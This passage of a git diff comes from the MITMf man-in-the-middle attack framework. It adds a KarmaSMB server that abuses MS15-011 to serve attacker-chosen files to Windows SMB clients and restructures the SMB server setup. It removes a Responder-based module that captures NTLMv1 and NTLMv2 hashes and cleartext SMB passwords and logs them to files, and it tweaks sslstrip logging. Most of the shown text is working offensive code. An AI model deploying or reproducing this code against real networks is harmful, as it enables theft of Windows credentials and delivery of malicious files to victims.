parameters, data, maxDataCount = 0): + # The trick we play here is that Windows clients first ask for the file + # and then it asks for the directory containing the file. + # It is important to answer the right questions for the attack to work + + connData = smbServer.getConnectionData(connId) + + respSetup = '' + respParameters = '' + respData = '' + errorCode = 0 + + queryPathInfoParameters = smb.SMBQueryPathInformation_Parameters(flags = recvPacket['Flags2'], data = parameters) + if len(data) > 0: + queryPathInfoData = smb.SMBQueryPathInformation_Data(data) + + if connData['ConnectedShares'].has_key(recvPacket['Tid']): + path = '' + try: + origPathName = decodeSMBString(recvPacket['Flags2'], queryPathInfoParameters['FileName']) + origPathName = os.path.normpath(origPathName.replace('\\','/')) + + if connData.has_key('MS15011') is False: + connData['MS15011'] = {} + + smbServer.log("Client is asking for QueryPathInformation for: %s" % origPathName,logging.INFO) + if connData['MS15011'].has_key(origPathName) or origPathName == '.': + # We already processed this entry, now it's asking for a directory + infoRecord, errorCode = queryPathInformation(path, '/', queryPathInfoParameters['InformationLevel']) + else: + # First time asked, asking for the file + infoRecord, errorCode = queryPathInformation(path, self.defaultFile, queryPathInfoParameters['InformationLevel']) + connData['MS15011'][os.path.dirname(origPathName)] = infoRecord + except Exception, e: + #import traceback + #traceback.print_exc() + smbServer.log("queryPathInformation: %s" % e,logging.ERROR) + + if infoRecord is not None: + respParameters = smb.SMBQueryPathInformationResponse_Parameters() + respData = infoRecord + else: + errorCode = STATUS_SMB_BAD_TID + + smbServer.setConnectionData(connId, connData) + + return respSetup, respParameters, respData, errorCode + + def smb2Read(self, connId, smbServer, recvPacket): + connData = smbServer.getConnectionData(connId) + connData['MS15011']['StopConnection'] = True + smbServer.setConnectionData(connId, connData) + return self.origsmb2Read(connId, smbServer, recvPacket) + + def smb2Close(self, connId, smbServer, recvPacket): + connData = smbServer.getConnectionData(connId) + # We're closing the connection trying to flush the client's + # cache. + if connData['MS15011']['StopConnection'] == True: + return [smb2.SMB2Error()], None, STATUS_USER_SESSION_DELETED + return self.origsmb2Close(connId, smbServer, recvPacket) + + def smb2Create(self, connId, smbServer, recvPacket): + connData = smbServer.getConnectionData(connId) + + ntCreateRequest = smb2.SMB2Create(recvPacket['Data']) + + # Let's try to avoid allowing write requests from the client back to us + # not 100% bulletproof, plus also the client might be using other SMB + # calls + createOptions = ntCreateRequest['CreateOptions'] + if createOptions & smb2.FILE_DELETE_ON_CLOSE == smb2.FILE_DELETE_ON_CLOSE: + errorCode = STATUS_ACCESS_DENIED + elif ntCreateRequest['CreateDisposition'] & smb2.FILE_OVERWRITE == smb2.FILE_OVERWRITE: + errorCode = STATUS_ACCESS_DENIED + elif ntCreateRequest['CreateDisposition'] & smb2.FILE_OVERWRITE_IF == smb2.FILE_OVERWRITE_IF: + errorCode = STATUS_ACCESS_DENIED + elif ntCreateRequest['DesiredAccess'] & smb2.FILE_WRITE_DATA == smb2.FILE_WRITE_DATA: + errorCode = STATUS_ACCESS_DENIED + elif ntCreateRequest['DesiredAccess'] & smb2.FILE_APPEND_DATA == smb2.FILE_APPEND_DATA: + errorCode = STATUS_ACCESS_DENIED + elif ntCreateRequest['DesiredAccess'] & smb2.GENERIC_WRITE == smb2.GENERIC_WRITE: + errorCode = STATUS_ACCESS_DENIED + elif ntCreateRequest['DesiredAccess'] & 0x10000 == 0x10000: + errorCode = STATUS_ACCESS_DENIED + else: + errorCode = STATUS_SUCCESS + + if errorCode == STATUS_ACCESS_DENIED: + return [smb2.SMB2Error()], None, errorCode + + # 1. Let's grab the extension and map the file's contents we will deliver + origPathName = os.path.normpath(ntCreateRequest['Buffer'][:ntCreateRequest['NameLength']].decode('utf-16le').replace('\\','/')) + + _, origPathNameExtension = os.path.splitext(origPathName) + origPathNameExtension = origPathNameExtension.upper()[1:] + + # Are we being asked for a directory? + if (createOptions & smb2.FILE_DIRECTORY_FILE) == 0: + if self.extensions.has_key(origPathNameExtension.upper()): + targetFile = self.extensions[origPathNameExtension.upper()] + else: + targetFile = self.defaultFile + connData['MS15011']['FileData'] = (os.path.basename(origPathName), targetFile) + smbServer.log("%s is asking for %s. Delivering %s" % (connData['ClientIP'], origPathName,targetFile),logging.INFO) + else: + targetFile = '/' + + # 2. We change the filename in the request for our targetFile + ntCreateRequest['Buffer'] = targetFile.encode('utf-16le') + ntCreateRequest['NameLength'] = len(targetFile)*2 + recvPacket['Data'] = str(ntCreateRequest) + + # 3. We call the original call with our modified data + return self.origsmb2Create(connId, smbServer, recvPacket) + + def smb2QueryDirectory(self, connId, smbServer, recvPacket): + # Windows clients with SMB2 will also perform a QueryDirectory + # expecting to get the filename asked. So we deliver it :) + connData = smbServer.getConnectionData(connId) + + respSMBCommand = smb2.SMB2QueryDirectory_Response() + queryDirectoryRequest = smb2.SMB2QueryDirectory(recvPacket['Data']) + + errorCode = 0xff + respSMBCommand['Buffer'] = '\x00' + + errorCode = STATUS_SUCCESS + + #if (queryDirectoryRequest['Flags'] & smb2.SL_RETURN_SINGLE_ENTRY) == 0: + # return [smb2.SMB2Error()], None, STATUS_NOT_SUPPORTED + + if connData['MS15011']['FindDone'] is True: + + connData['MS15011']['FindDone'] = False + smbServer.setConnectionData(connId, connData) + return [smb2.SMB2Error()], None, STATUS_NO_MORE_FILES + else: + origName, targetFile = connData['MS15011']['FileData'] + (mode, ino, dev, nlink, uid, gid, size, atime, mtime, ctime) = os.stat(targetFile) + + infoRecord = smb.SMBFindFileIdBothDirectoryInfo( smb.SMB.FLAGS2_UNICODE ) + infoRecord['ExtFileAttributes'] = smb.ATTR_NORMAL | smb.ATTR_ARCHIVE + + infoRecord['EaSize'] = 0 + infoRecord['EndOfFile'] = size + infoRecord['AllocationSize'] = size + infoRecord['CreationTime'] = getFileTime(ctime) + infoRecord['LastAccessTime'] = getFileTime(atime) + infoRecord['LastWriteTime'] = getFileTime(mtime) + infoRecord['LastChangeTime'] = getFileTime(mtime) + infoRecord['ShortName'] = '\x00'*24 + #infoRecord['FileName'] = os.path.basename(origName).encode('utf-16le') + infoRecord['FileName'] = origName.encode('utf-16le') + padLen = (8-(len(infoRecord) % 8)) % 8 + infoRecord['NextEntryOffset'] = 0 + + respSMBCommand['OutputBufferOffset'] = 0x48 + respSMBCommand['OutputBufferLength'] = len(infoRecord.getData()) + respSMBCommand['Buffer'] = infoRecord.getData() + '\xaa'*padLen + connData['MS15011']['FindDone'] = True + + smbServer.setConnectionData(connId, connData) + return [respSMBCommand], None, errorCode + + def smb2TreeConnect(self, connId, smbServer, recvPacket): + connData = smbServer.getConnectionData(connId) + + respPacket = smb2.SMB2Packet() + respPacket['Flags'] = smb2.SMB2_FLAGS_SERVER_TO_REDIR + respPacket['Status'] = STATUS_SUCCESS + respPacket['CreditRequestResponse'] = 1 + respPacket['Command'] = recvPacket['Command'] + respPacket['SessionID'] = connData['Uid'] + respPacket['Reserved'] = recvPacket['Reserved'] + respPacket['MessageID'] = recvPacket['MessageID'] + respPacket['TreeID'] = recvPacket['TreeID'] + + respSMBCommand = smb2.SMB2TreeConnect_Response() + + treeConnectRequest = smb2.SMB2TreeConnect(recvPacket['Data']) + + errorCode = STATUS_SUCCESS + + ## Process here the request, does the share exist? + path = str(recvPacket)[treeConnectRequest['PathOffset']:][:treeConnectRequest['PathLength']] + UNCOrShare = path.decode('utf-16le') + + # Is this a UNC? + if ntpath.ismount(UNCOrShare): + path = UNCOrShare.split('\\')[3] + else: + path = ntpath.basename(UNCOrShare) + + # We won't search for the share.. all of them exist :P + #share = searchShare(connId, path.upper(), smbServer) + connData['MS15011'] = {} + connData['MS15011']['FindDone'] = False + connData['MS15011']['StopConnection'] = False + share = {} + if share is not None: + # Simple way to generate a Tid + if len(connData['ConnectedShares']) == 0: + tid = 1 + else: + tid = connData['ConnectedShares'].keys()[-1] + 1 + connData['ConnectedShares'][tid] = share + connData['ConnectedShares'][tid]['path'] = '/' + connData['ConnectedShares'][tid]['shareName'] = path + respPacket['TreeID'] = tid + #smbServer.log("Connecting Share(%d:%s)" % (tid,path)) + else: + smbServer.log("SMB2_TREE_CONNECT not found %s" % path, logging.ERROR) + errorCode = STATUS_OBJECT_PATH_NOT_FOUND + respPacket['Status'] = errorCode + ## + + if path == 'IPC$': + respSMBCommand['ShareType'] = smb2.SMB2_SHARE_TYPE_PIPE + respSMBCommand['ShareFlags'] = 0x30 + else: + respSMBCommand['ShareType'] = smb2.SMB2_SHARE_TYPE_DISK + respSMBCommand['ShareFlags'] = 0x0 + + respSMBCommand['Capabilities'] = 0 + respSMBCommand['MaximalAccess'] = 0x011f01ff + + respPacket['Data'] = respSMBCommand + + smbServer.setConnectionData(connId, connData) + + return None, [respPacket], errorCode + + def smbComTreeConnectAndX(self, connId, smbServer, SMBCommand, recvPacket): + connData = smbServer.getConnectionData(connId) + + resp = smb.NewSMBPacket() + resp['Flags1'] = smb.SMB.FLAGS1_REPLY + resp['Flags2'] = smb.SMB.FLAGS2_EXTENDED_SECURITY | smb.SMB.FLAGS2_NT_STATUS | smb.SMB.FLAGS2_LONG_NAMES | recvPacket['Flags2'] & smb.SMB.FLAGS2_UNICODE + + resp['Tid'] = recvPacket['Tid'] + resp['Mid'] = recvPacket['Mid'] + resp['Pid'] = connData['Pid'] + + respSMBCommand = smb.SMBCommand(smb.SMB.SMB_COM_TREE_CONNECT_ANDX) + respParameters = smb.SMBTreeConnectAndXResponse_Parameters() + respData = smb.SMBTreeConnectAndXResponse_Data() + + treeConnectAndXParameters = smb.SMBTreeConnectAndX_Parameters(SMBCommand['Parameters']) + + if treeConnectAndXParameters['Flags'] & 0x8: + respParameters = smb.SMBTreeConnectAndXExtendedResponse_Parameters() + + treeConnectAndXData = smb.SMBTreeConnectAndX_Data( flags = recvPacket['Flags2'] ) + treeConnectAndXData['_PasswordLength'] = treeConnectAndXParameters['PasswordLength'] + treeConnectAndXData.fromString(SMBCommand['Data']) + + errorCode = STATUS_SUCCESS + + UNCOrShare = decodeSMBString(recvPacket['Flags2'], treeConnectAndXData['Path']) + + # Is this a UNC? + if ntpath.ismount(UNCOrShare): + path = UNCOrShare.split('\\')[3] + else: + path = ntpath.basename(UNCOrShare) + + # We won't search for the share.. all of them exist :P + smbServer.log("TreeConnectAndX request for %s" % path, logging.INFO) + #share = searchShare(connId, path, smbServer) + share = {} + # Simple way to generate a Tid + if len(connData['ConnectedShares']) == 0: + tid = 1 + else: + tid = connData['ConnectedShares'].keys()[-1] + 1 + connData['ConnectedShares'][tid] = share + connData['ConnectedShares'][tid]['path'] = '/' + connData['ConnectedShares'][tid]['shareName'] = path + resp['Tid'] = tid + #smbServer.log("Connecting Share(%d:%s)" % (tid,path)) + + respParameters['OptionalSupport'] = smb.SMB.SMB_SUPPORT_SEARCH_BITS + + if path == 'IPC$': + respData['Service'] = 'IPC' + else: + respData['Service'] = path + respData['PadLen'] = 0 + respData['NativeFileSystem'] = encodeSMBString(recvPacket['Flags2'], 'NTFS' ) + + respSMBCommand['Parameters'] = respParameters + respSMBCommand['Data'] = respData + + resp['Uid'] = connData['Uid'] + resp.addCommand(respSMBCommand) + smbServer.setConnectionData(connId, connData) + + return None, [resp], errorCode + + def start(self): + self.server.serve_forever() + + def setDefaultFile(self, filename): + self.defaultFile = filename + + def setExtensionsConfig(self, filename): + for line in filename.readlines(): + line = line.strip('\r\n ') + if line.startswith('#') is not True and len(line) > 0: + extension, pathName = line.split('=') + self.extensions[extension.strip().upper()] = os.path.normpath(pathName.strip()) diff --git a/core/servers/smb/SMBPackets.py b/core/servers/smb/SMBPackets.py deleted file mode 100644 index a1d3fcb..0000000 --- a/core/servers/smb/SMBPackets.py +++ /dev/null @@ -1,475 +0,0 @@ -#! /usr/bin/env python -# NBT-NS/LLMNR Responder -# Created by Laurent Gaffie -# Copyright (C) 2014 Trustwave Holdings, Inc. -# -# This program is free software: you can redistribute it and/or modify -# it under the terms of the GNU General Public License as published by -# the Free Software Foundation, either version 3 of the License, or -# (at your option) any later version. -# -# This program is distributed in the hope that it will be useful, -# but WITHOUT ANY WARRANTY; without even the implied warranty of -# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the -# GNU General Public License for more details. -# -# You should have received a copy of the GNU General Public License -# along with this program. If not, see . -import struct -from odict import OrderedDict - -class Packet(): - fields = OrderedDict([ - ("data", ""), - ]) - def __init__(self, **kw): - self.fields = OrderedDict(self.__class__.fields) - for k,v in kw.items(): - if callable(v): - self.fields[k] = v(self.fields[k]) - else: - self.fields[k] = v - def __str__(self): - return "".join(map(str, self.fields.values())) - -#Calculate total SMB packet len. -def longueur(payload): - length = struct.pack(">i", len(''.join(payload))) - return length - -#Set MID SMB Header field. -def midcalc(data): - pack=data[34:36] - return pack - -#Set UID SMB Header field. -def uidcalc(data): - pack=data[32:34] - return pack - -#Set PID SMB Header field. -def pidcalc(data): - pack=data[30:32] - return pack - -#Set TID SMB Header field. -def tidcalc(data): - pack=data[28:30] - return pack - - -################################################################################## -class SMBHeader(Packet): - fields = OrderedDict([ - ("proto", "\xff\x53\x4d\x42"), - ("cmd", "\x72"), - ("errorcode", "\x00\x00\x00\x00" ), - ("flag1", "\x00"), - ("flag2", "\x00\x00"), - ("pidhigh", "\x00\x00"), - ("signature", "\x00\x00\x00\x00\x00\x00\x00\x00"), - ("reserved", "\x00\x00"), - ("tid", "\x00\x00"), - ("pid", "\x00\x00"), - ("uid", "\x00\x00"), - ("mid", "\x00\x00"), - ]) -################################################################################## -#SMB Negotiate Answer LM packet. -class SMBNegoAnsLM(Packet): - fields = OrderedDict([ - ("Wordcount", "\x11"), - ("Dialect", ""), - ("Securitymode", "\x03"), - ("MaxMpx", "\x32\x00"), - ("MaxVc", "\x01\x00"), - ("Maxbuffsize", "\x04\x41\x00\x00"), - ("Maxrawbuff", "\x00\x00\x01\x00"), - ("Sessionkey", "\x00\x00\x00\x00"), - ("Capabilities", "\xfc\x3e\x01\x00"), - ("Systemtime", "\x84\xd6\xfb\xa3\x01\x35\xcd\x01"), - ("Srvtimezone", "\x2c\x01"), - ("Keylength", "\x08"), - ("Bcc", "\x10\x00"), - ("Key", ""), - ("Domain", "SMB"), - ("DomainNull", "\x00\x00"), - ("Server", "SMB-TOOLKIT"), - ("ServerNull", "\x00\x00"), - ]) - - def calculate(self): - ##Convert first.. - self.fields["Domain"] = self.fields["Domain"].encode('utf-16le') - self.fields["Server"] = self.fields["Server"].encode('utf-16le') - ##Then calculate. - CompleteBCCLen = str(self.fields["Key"])+str(self.fields["Domain"])+str(self.fields["DomainNull"])+str(self.fields["Server"])+str(self.fields["ServerNull"]) - self.fields["Bcc"] = struct.pack("B", len(AsnLen+CalculateSecBlob)-3) - self.fields["NegTokenTagASNIdLen"] = struct.pack(">B", len(AsnLen+CalculateSecBlob)-6) - self.fields["Tag1ASNIdLen"] = struct.pack(">B", len(str(self.fields["Tag1ASNId2"])+str(self.fields["Tag1ASNId2Len"])+str(self.fields["Tag1ASNId2Str"]))) - self.fields["Tag1ASNId2Len"] = struct.pack(">B", len(str(self.fields["Tag1ASNId2Str"]))) - self.fields["Tag2ASNIdLen"] = struct.pack(">B", len(CalculateSecBlob+str(self.fields["Tag3ASNId"])+str(self.fields["Tag3ASNIdLenOfLen"])+str(self.fields["Tag3ASNIdLen"]))) - self.fields["Tag3ASNIdLen"] = struct.pack(">B", len(CalculateSecBlob)) - - ###### Andxoffset calculation. - CalculateCompletePacket = str(self.fields["Wordcount"])+str(self.fields["AndXCommand"])+str(self.fields["Reserved"])+str(self.fields["Andxoffset"])+str(self.fields["Action"])+str(self.fields["SecBlobLen"])+str(self.fields["Bcc"])+BccLen - - self.fields["Andxoffset"] = struct.pack(" 260: - SSPIStart = data[79:] - LMhashLen = struct.unpack(' 260: - SSPIStart = data[79:] - LMhashLen = struct.unpack(' 60: - outfile = "./logs/responder/SMB-NTLMv2-Client-"+client+".txt" - NtHash = SSPIStart[NthashOffset:NthashOffset+NthashLen].encode("hex").upper() - DomainLen = struct.unpack(' 25: - Hash = data[65+LMhashLen:65+LMhashLen+NthashLen] - responder_logger.info('[+]SMB-NTLMv2 hash captured from :%s'%(client)) - outfile = "./logs/responder/SMB-NTLMv2-Client-"+client+".txt" - pack = tuple(data[89+NthashLen:].split('\x00\x00\x00'))[:2] - var = [e.replace('\x00','') for e in data[89+NthashLen:Bcc+60].split('\x00\x00\x00')[:2]] - Username, Domain = tuple(var) - Writehash = Username+"::"+Domain+":"+NumChal+":"+Hash.encode('hex')[:32].upper()+":"+Hash.encode('hex')[32:].upper() - ParseShare(data) - WriteData(outfile,Writehash, Username+"::"+Domain) - responder_logger.info('[+]SMB-NTLMv2 complete hash is :%s'%(Writehash)) - if NthashLen == 24: - responder_logger.info('[+]SMB-NTLMv1 hash captured from :%s'%(client)) - outfile = "./logs/responder/SMB-NTLMv1-Client-"+client+".txt" - pack = tuple(data[89+NthashLen:].split('\x00\x00\x00'))[:2] - var = [e.replace('\x00','') for e in data[89+NthashLen:Bcc+60].split('\x00\x00\x00')[:2]] - Username, Domain = tuple(var) - writehash = Username+"::"+Domain+":"+data[65:65+LMhashLen].encode('hex').upper()+":"+data[65+LMhashLen:65+LMhashLen+NthashLen].encode('hex').upper()+":"+NumChal - ParseShare(data) - WriteData(outfile,writehash, Username+"::"+Domain) - responder_logger.info('[+]SMB-NTLMv1 complete hash is :%s'%(writehash)) - responder_logger.info('[+]SMB-NTLMv1 Username:%s'%(Username)) - responder_logger.info('[+]SMB-NTLMv1 Domain (if joined, if not then computer name) :%s'%(Domain)) - except Exception: - raise - -def IsNT4ClearTxt(data): - HeadLen = 36 - Flag2 = data[14:16] - if Flag2 == "\x03\x80": - SmbData = data[HeadLen+14:] - WordCount = data[HeadLen] - ChainedCmdOffset = data[HeadLen+1] - if ChainedCmdOffset == "\x75": - PassLen = struct.unpack(' 2: - Password = data[HeadLen+30:HeadLen+30+PassLen].replace("\x00","") - User = ''.join(tuple(data[HeadLen+30+PassLen:].split('\x00\x00\x00'))[:1]).replace("\x00","") - #print "[SMB]Clear Text Credentials: %s:%s" %(User,Password) - responder_logger.info("[SMB]Clear Text Credentials: %s:%s"%(User,Password)) - -#SMB Server class, NTLMSSP -class SMB1(BaseRequestHandler): - - def handle(self): - try: - while True: - data = self.request.recv(1024) - self.request.settimeout(1) - ##session request 139 - if data[0] == "\x81": - buffer0 = "\x82\x00\x00\x00" - self.request.send(buffer0) - data = self.request.recv(1024) - ##Negotiate proto answer. - if data[8:10] == "\x72\x00": - #Customize SMB answer. - head = SMBHeader(cmd="\x72",flag1="\x88", flag2="\x01\xc8", pid=pidcalc(data),mid=midcalc(data)) - t = SMBNegoKerbAns(Dialect=Parse_Nego_Dialect(data)) - t.calculate() - final = t - packet0 = str(head)+str(final) - buffer0 = longueur(packet0)+packet0 - self.request.send(buffer0) - data = self.request.recv(1024) - ##Session Setup AndX Request - if data[8:10] == "\x73\x00": - IsNT4ClearTxt(data) - head = SMBHeader(cmd="\x73",flag1="\x88", flag2="\x01\xc8", errorcode="\x16\x00\x00\xc0", uid=chr(randrange(256))+chr(randrange(256)),pid=pidcalc(data),tid="\x00\x00",mid=midcalc(data)) - t = SMBSession1Data(NTLMSSPNtServerChallenge=Challenge) - t.calculate() - final = t - packet1 = str(head)+str(final) - buffer1 = longueur(packet1)+packet1 - self.request.send(buffer1) - data = self.request.recv(4096) - if data[8:10] == "\x73\x00": - if Is_Anonymous(data): - head = SMBHeader(cmd="\x73",flag1="\x98", flag2="\x01\xc8",errorcode="\x72\x00\x00\xc0",pid=pidcalc(data),tid="\x00\x00",uid=uidcalc(data),mid=midcalc(data))###should always send errorcode="\x72\x00\x00\xc0" account disabled for anonymous logins. - final = SMBSessEmpty() - packet1 = str(head)+str(final) - buffer1 = longueur(packet1)+packet1 - self.request.send(buffer1) - else: - ParseSMBHash(data,self.client_address[0]) - head = SMBHeader(cmd="\x73",flag1="\x98", flag2="\x01\xc8", errorcode="\x00\x00\x00\x00",pid=pidcalc(data),tid=tidcalc(data),uid=uidcalc(data),mid=midcalc(data)) - final = SMBSession2Accept() - final.calculate() - packet2 = str(head)+str(final) - buffer2 = longueur(packet2)+packet2 - self.request.send(buffer2) - data = self.request.recv(1024) - ##Tree Connect IPC Answer - if data[8:10] == "\x75\x00": - ParseShare(data) - head = SMBHeader(cmd="\x75",flag1="\x88", flag2="\x01\xc8", errorcode="\x00\x00\x00\x00", pid=pidcalc(data), tid=chr(randrange(256))+chr(randrange(256)), uid=uidcalc(data), mid=midcalc(data)) - t = SMBTreeData() - t.calculate() - final = t - packet1 = str(head)+str(final) - buffer1 = longueur(packet1)+packet1 - self.request.send(buffer1) - data = self.request.recv(1024) - ##Tree Disconnect. - if data[8:10] == "\x71\x00": - head = SMBHeader(cmd="\x71",flag1="\x98", flag2="\x07\xc8", errorcode="\x00\x00\x00\x00",pid=pidcalc(data),tid=tidcalc(data),uid=uidcalc(data),mid=midcalc(data)) - final = "\x00\x00\x00" - packet1 = str(head)+str(final) - buffer1 = longueur(packet1)+packet1 - self.request.send(buffer1) - data = self.request.recv(1024) - ##NT_CREATE Access Denied. - if data[8:10] == "\xa2\x00": - head = SMBHeader(cmd="\xa2",flag1="\x98", flag2="\x07\xc8", errorcode="\x22\x00\x00\xc0",pid=pidcalc(data),tid=tidcalc(data),uid=uidcalc(data),mid=midcalc(data)) - final = "\x00\x00\x00" - packet1 = str(head)+str(final) - buffer1 = longueur(packet1)+packet1 - self.request.send(buffer1) - data = self.request.recv(1024) - ##Trans2 Access Denied. - if data[8:10] == "\x25\x00": - head = SMBHeader(cmd="\x25",flag1="\x98", flag2="\x07\xc8", errorcode="\x22\x00\x00\xc0",pid=pidcalc(data),tid=tidcalc(data),uid=uidcalc(data),mid=midcalc(data)) - final = "\x00\x00\x00" - packet1 = str(head)+str(final) - buffer1 = longueur(packet1)+packet1 - self.request.send(buffer1) - data = self.request.recv(1024) - ##LogOff. - if data[8:10] == "\x74\x00": - head = SMBHeader(cmd="\x74",flag1="\x98", flag2="\x07\xc8", errorcode="\x22\x00\x00\xc0",pid=pidcalc(data),tid=tidcalc(data),uid=uidcalc(data),mid=midcalc(data)) - final = "\x02\xff\x00\x27\x00\x00\x00" - packet1 = str(head)+str(final) - buffer1 = longueur(packet1)+packet1 - self.request.send(buffer1) - data = self.request.recv(1024) - - except Exception: - pass #no need to print errors.. - -#SMB Server class, old version. -class SMB1LM(BaseRequestHandler): - - def handle(self): - try: - self.request.settimeout(0.5) - data = self.request.recv(1024) - ##session request 139 - if data[0] == "\x81": - buffer0 = "\x82\x00\x00\x00" - self.request.send(buffer0) - data = self.request.recv(1024) - ##Negotiate proto answer. - if data[8:10] == "\x72\x00": - head = SMBHeader(cmd="\x72",flag1="\x80", flag2="\x00\x00",pid=pidcalc(data),mid=midcalc(data)) - t = SMBNegoAnsLM(Dialect=Parse_Nego_Dialect(data),Domain="",Key=Challenge) - t.calculate() - packet1 = str(head)+str(t) - buffer1 = longueur(packet1)+packet1 - self.request.send(buffer1) - data = self.request.recv(1024) - ##Session Setup AndX Request - if data[8:10] == "\x73\x00": - if Is_LMNT_Anonymous(data): - head = SMBHeader(cmd="\x73",flag1="\x90", flag2="\x53\xc8",errorcode="\x72\x00\x00\xc0",pid=pidcalc(data),tid=tidcalc(data),uid=uidcalc(data),mid=midcalc(data)) - packet1 = str(head)+str(SMBSessEmpty()) - buffer1 = longueur(packet1)+packet1 - self.request.send(buffer1) - else: - ParseLMNTHash(data,self.client_address[0]) - head = SMBHeader(cmd="\x73",flag1="\x90", flag2="\x53\xc8",errorcode="\x22\x00\x00\xc0",pid=pidcalc(data),tid=tidcalc(data),uid=uidcalc(data),mid=midcalc(data)) - packet1 = str(head)+str(SMBSessEmpty()) - buffer1 = longueur(packet1)+packet1 - self.request.send(buffer1) - data = self.request.recv(1024) - - except Exception: - self.request.close() - pass \ No newline at end of file diff --git a/core/servers/smb/SMBserver.py b/core/servers/smb/SMBserver.py index d413926..8a86477 100644 --- a/core/servers/smb/SMBserver.py +++ b/core/servers/smb/SMBserver.py @@ -1,81 +1,85 @@ import logging import sys import threading +import os + from socket import error as socketerror from impacket import version, smbserver, LOG +from core.servers.smb.KarmaSMB import KarmaSMBServer from core.configwatcher import ConfigWatcher from core.utils import shutdown -LOG.setLevel(logging.INFO) -LOG.propagate = False -logging.getLogger('smbserver').setLevel(logging.INFO) -logging.getLogger('impacket').setLevel(logging.INFO) - -formatter = logging.Formatter("%(asctime)s [SMBserver] %(message)s", datefmt="%Y-%m-%d %H:%M:%S") -fileHandler = logging.FileHandler("./logs/mitmf.log") -streamHandler = logging.StreamHandler(sys.stdout) -fileHandler.setFormatter(formatter) -streamHandler.setFormatter(formatter) -LOG.addHandler(fileHandler) -LOG.addHandler(streamHandler) +#Logging is something I'm going to have to clean up in the future class SMBserver(ConfigWatcher): + _instance = None impacket_ver = version.VER_MINOR + server_type = ConfigWatcher.config["MITMf"]["SMB"]["type"].lower() + smbchallenge = ConfigWatcher.config["MITMf"]["SMB"]["Challenge"] + smb_port = int(ConfigWatcher.config["MITMf"]["SMB"]["port"]) - def __init__(self, listenAddress = '0.0.0.0', listenPort=445, configFile=''): - + @staticmethod + def getInstance(): + if SMBserver._instance == None: + SMBserver._instance = SMBserver() + + return SMBserver._instance + + def parseConfig(self): + server = None try: - self.server = smbserver.SimpleSMBServer(listenAddress, listenPort, configFile) - self.server.setSMBChallenge(self.config["MITMf"]["SMB"]["Challenge"]) + if self.server_type == 'normal': + + formatter = logging.Formatter("%(asctime)s [SMBserver] %(message)s", datefmt="%Y-%m-%d %H:%M:%S") + self.configureLogging(formatter) + + server = smbserver.SimpleSMBServer(listenPort=self.smb_port) + + for share in self.config["MITMf"]["SMB"]["Shares"]: + path = self.config["MITMf"]["SMB"]["Shares"][share]['path'] + readonly = self.config["MITMf"]["SMB"]["Shares"][share]['readonly'].lower() + server.addShare(share.upper(), path, readOnly=readonly) + + server.setSMBChallenge(self.smbchallenge) + server.setLogFile('') + + elif self.server_type == 'karma': + + formatter = logging.Formatter("%(asctime)s [KarmaSMB] %(message)s", datefmt="%Y-%m-%d %H:%M:%S") + self.configureLogging(formatter) + + server = KarmaSMBServer(self.smbchallenge, self.smb_port) + server.defaultFile = self.config["MITMf"]["SMB"]["Karma"]["defaultfile"] + + for extension, path in self.config["MITMf"]["SMB"]["Karma"].iteritems(): + server.extensions[extension.upper()] = os.path.normpath(path) + + else: + shutdown("\n[-] Invalid SMB server type specified in config file!") + + return server + except socketerror as e: if "Address already in use" in e: - shutdown("\n[-] Unable to start SMB server on port 445: port already in use") + shutdown("\n[-] Unable to start SMB server on port {}: port already in use".format(listenPort)) + + def configureLogging(self, formatter): + #yes I know this looks awful, yuck + + LOG.setLevel(logging.INFO) + LOG.propagate = False + logging.getLogger('smbserver').setLevel(logging.INFO) + logging.getLogger('impacket').setLevel(logging.INFO) + + fileHandler = logging.FileHandler("./logs/mitmf.log") + streamHandler = logging.StreamHandler(sys.stdout) + fileHandler.setFormatter(formatter) + streamHandler.setFormatter(formatter) + LOG.addHandler(fileHandler) + LOG.addHandler(streamHandler) def start(self): - t = threading.Thread(name='SMBserver', target=self.server.start) + t = threading.Thread(name='SMBserver', target=self.parseConfig().start) t.setDaemon(True) t.start() - -""" -class SMBserver(Thread): - def __init__(self): - Thread.__init__(self) - - def run(self): - # Here we write a mini config for the server - smbConfig = ConfigParser.ConfigParser() - smbConfig.add_section('global') - smbConfig.set('global','server_name','server_name') - smbConfig.set('global','server_os','UNIX') - smbConfig.set('global','server_domain','WORKGROUP') - smbConfig.set('global','log_file', 'None') - smbConfig.set('global','credentials_file','') - - # Let's add a dummy share - #smbConfig.add_section(DUMMY_SHARE) - #smbConfig.set(DUMMY_SHARE,'comment','') - #smbConfig.set(DUMMY_SHARE,'read only','no') - #smbConfig.set(DUMMY_SHARE,'share type','0') - #smbConfig.set(DUMMY_SHARE,'path',SMBSERVER_DIR) - - # IPC always needed - smbConfig.add_section('IPC$') - smbConfig.set('IPC$','comment','') - smbConfig.set('IPC$','read only','yes') - smbConfig.set('IPC$','share type','3') - smbConfig.set('IPC$','path') - - self.smb = smbserver.SMBSERVER(('0.0.0.0',445), config_parser = smbConfig) - - self.smb.processConfigFile() - try: - self.smb.serve_forever() - except: - pass - - def stop(self): - self.smb.socket.close() - self.smb.server_close() - self._Thread__stop() -""" \ No newline at end of file diff --git a/core/sslstrip/ServerConnection.py b/core/sslstrip/ServerConnection.py index 0126675..8e9525c 100644 --- a/core/sslstrip/ServerConnection.py +++ b/core/sslstrip/ServerConnection.py @@ -72,7 +72,12 @@ class ServerConnection(HTTPClient): def sendRequest(self): if self.command == 'GET': try: - mitmf_logger.info("{} [type:{} os:{}] Sending Request: {}".format(self.client.getClientIP(), self.clientInfo[1], self.clientInfo[0], self.headers['host'])) + + if ('Unknown' in self.clientInfo[0]) or ('Unknown' in self.clientInfo[1]): + mitmf_logger.info("{} Sending Request: {}".format(self.client.getClientIP(), self.headers['host'])) + else: + mitmf_logger.info("{} [type:{} os:{}] Sending Request: {}".format(self.client.getClientIP(), self.clientInfo[1], self.clientInfo[0], self.headers['host'])) + except Exception as e: mitmf_logger.debug("[ServerConnection] Unable to parse UA: {}".format(e)) mitmf_logger.info("{} Sending Request: {}".format(self.client.getClientIP(), self.headers['host'])) @@ -120,10 +125,12 @@ class ServerConnection(HTTPClient): self.sendPostData() def handleStatus(self, version, code, message): - try: - version, code, message = self.plugins.hook() - except ValueError: - pass + + values = self.plugins.hook() + + version = values['version'] + code = values['code'] + message = values['message'] mitmf_logger.debug("[ServerConnection] Server response: {} {} {}".format(version, code, message)) self.client.setResponseCode(int(code), message) diff --git a/core/utils.py b/core/utils.py index 9aa8898..42a9aa2 100644 --- a/core/utils.py +++ b/core/utils.py @@ -69,8 +69,9 @@ class IpTables: _instance = None def 